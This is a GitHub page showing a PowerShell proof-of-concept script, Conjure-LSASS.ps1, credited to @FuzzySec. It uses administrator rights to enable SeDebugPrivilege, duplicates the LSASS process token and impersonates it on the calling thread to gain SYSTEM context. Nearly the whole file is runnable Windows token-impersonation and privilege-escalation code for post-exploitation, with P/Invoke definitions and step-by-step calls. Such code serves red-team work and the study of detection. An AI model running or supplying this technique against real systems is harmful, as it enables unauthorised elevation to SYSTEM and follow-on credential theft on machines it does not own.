-
-
Notifications
You must be signed in to change notification settings - Fork 766
/
Conjure-LSASS.ps1
173 lines (144 loc) · 5.7 KB
/
Conjure-LSASS.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
function Conjure-LSASS {
<#
.SYNOPSIS
Use the SeDebugPrivilege to duplicate the LSASS access token and
impersonate it in the calling thread. If SeDebugPrivilege is disabled
the function will re-enable it.
If SeDebugPrivilege has been removed, it can be added using LsaAddAccountRights
however that requires the user to log off / log on so I haven't added it
to the script.
Notes:
* Multithreading in PowerShell, causes the impersonation to be lost. To avoid
this PowerShell should be launched as a Single Threaded Apartment (STA)
==> "powershell -sta". This should not be an issue in PowerShell v3+.
* This is just some POC code mkay, check out PowerSploit & PoshPrivilege.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> Conjure-LSASS
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TokPriv1Luid NewState,
int BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
IntPtr Thread,
IntPtr Token);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')
# Needs Admin privs
if (!$IsAdmin) {
echo "`n[!] Administrator privileges are required!`n"
Return
}
$Whoami = whoami /priv /fo csv |ConvertFrom-Csv
$SeDebugPriv = $whoami -Match "SeDebugPrivilege"
# SeDebugPriv needs to be available
if (!$SeDebugPriv) {
echo "`n[!] SeDebugPrivilege not available, exiting!"
Return
}
else {
echo "`n[?] SeDebugPrivilege is available!"
foreach ($priv in $whoami) {
if ($priv."Privilege Name" -contains "SeDebugPrivilege") {
$DebugVal = $priv.State
}
}
# Get current proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
echo "`n[+] Current process handle: $ProcHandle"
# Open token handle with TOKEN_ADJUST_PRIVILEGES bor TOKEN_QUERY
echo "`n[>] Calling Advapi32::OpenProcessToken"
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x28, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: $hTokenHandle`n"
# Enable SeDebugPrivilege if needed
if ($DebugVal -eq "Disabled") {
echo "[?] SeDebugPrivilege is disabled, enabling..`n"
# Prepare TokPriv1Luid container
$TokPriv1Luid = New-Object TokPriv1Luid
$TokPriv1Luid.Count = 1
$TokPriv1Luid.Attr = 0x00000002 # SE_PRIVILEGE_ENABLED
# Get SeDebugPrivilege luid
$LuidVal = $Null
echo "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege"
$CallResult = [Advapi32]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$LuidVal)
echo "[+] SeDebugPrivilege LUID value: $LuidVal`n"
$TokPriv1Luid.Luid = $LuidVal
# Enable SeDebugPrivilege for the current process
echo "[>] Calling Advapi32::AdjustTokenPrivileges`n"
$CallResult = [Advapi32]::AdjustTokenPrivileges($hTokenHandle, $False, [ref]$TokPriv1Luid, 0, [IntPtr]::Zero, [IntPtr]::Zero)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
Return
}
}
echo "[?] SeDebugPrivilege is enabled!`n"
# Open token handle with TOKEN_IMPERSONATE bor TOKEN_DUPLICATE
echo "[>] Calling Advapi32::OpenProcessToken --> LSASS"
$ProcHandle = (Get-Process -Name lsass).Handle
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x6, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_IMPERSONATE|TOKEN_DUPLICATE: $hTokenHandle`n"
# Duplicate LSASS token
echo "[>] Calling Advapi32::DuplicateToken --> LSASS"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($hTokenHandle, 2, [ref]$hDuplicateTokenHandle)
echo "[+] Duplicate token handle with SecurityImpersonation level: $hDuplicateTokenHandle`n"
# Assign impersonation token to calling thread
echo "[>] Calling Advapi32::SetThreadToken"
$CallResult = [Advapi32]::SetThreadToken([IntPtr]::Zero, $hDuplicateTokenHandle)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
Return
}
echo "[+] Knock knock .. who's there .. LSASS"
echo "[+] User context: $([Environment]::UserName)`n"
}
}